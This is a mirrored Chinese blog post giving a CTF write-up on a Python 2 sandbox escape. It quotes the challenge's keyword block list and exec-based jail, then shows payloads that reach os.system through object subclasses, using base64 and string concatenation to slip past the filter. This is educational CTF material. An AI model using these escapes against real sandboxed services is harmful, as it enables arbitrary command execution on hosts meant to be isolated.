zoukankan      html  css  js  c++  java
  • CTF python沙箱逃逸进阶题目

    future引用了python3的新特性,所以是不能直接回回显,得用print

    file函数可以读取。

    print(().__class__.__bases__[0].__subclasses__()[40]('./sx2.py').read())  
    

    读取源码后:

    from __future__ import print_function
    banned = [
        "import",
        "exec",
        "eval",
        "pickle",
        "os",
        "subprocess",
        "kevin sucks",
        "input",
        "banned",
        "cry sum more",
        "sys"
    ]
    targets = __builtins__.__dict__.keys()
    targets.remove('raw_input')
    targets.remove('print')
    for x in targets:
        del __builtins__.__dict__[x]
    while 1:
        print(">>>", end=' ')
        data = raw_input()
        for no in banned:
            if no.lower() in data.lower():
                print("No bueno")
                break
        else: # this means nobreak
            exec data
    
    

    没有ban reload函数,所以思路就是

    reload(__builtins__)  可没想到不知道为啥不行。然后想别的办法。  
    

    只禁用了builtins里的函数,那我们找<class 'site._Printer'>

    payload

    print("".__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['os']).system('dir')(windows下,我的linux下是71)。  
    

    可发现还是不行,原因是不仅仅把builtins里面的危险函数禁用了,还有关键字符一起禁用了(在最后的一个小的if判断里面)

    于是想到'os'变为'b3M='.decode('base64')  
    

    最终的payload

    print("".__class__.__mro__[2].__subclasses__()[72].__init__.__globals__['b3M='.decode('base64')]).system('dir')  
    

    另外从别人那里偷来一句:

    print(().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls'))
  • 相关阅读:
    学习进度(第十四周)
    学习进度(第十三周)
    程序员修炼之道阅读笔记03
    程序员修炼之道阅读笔记02
    学习进度(第十二周)
    冲刺进度条10
    冲刺进度条09
    冲刺进度条08
    寒假学习进度报告2
    寒假学习进度报告1
  • 原文地址:https://www.cnblogs.com/zaqzzz/p/10260469.html
Copyright © 2011-2022 走看看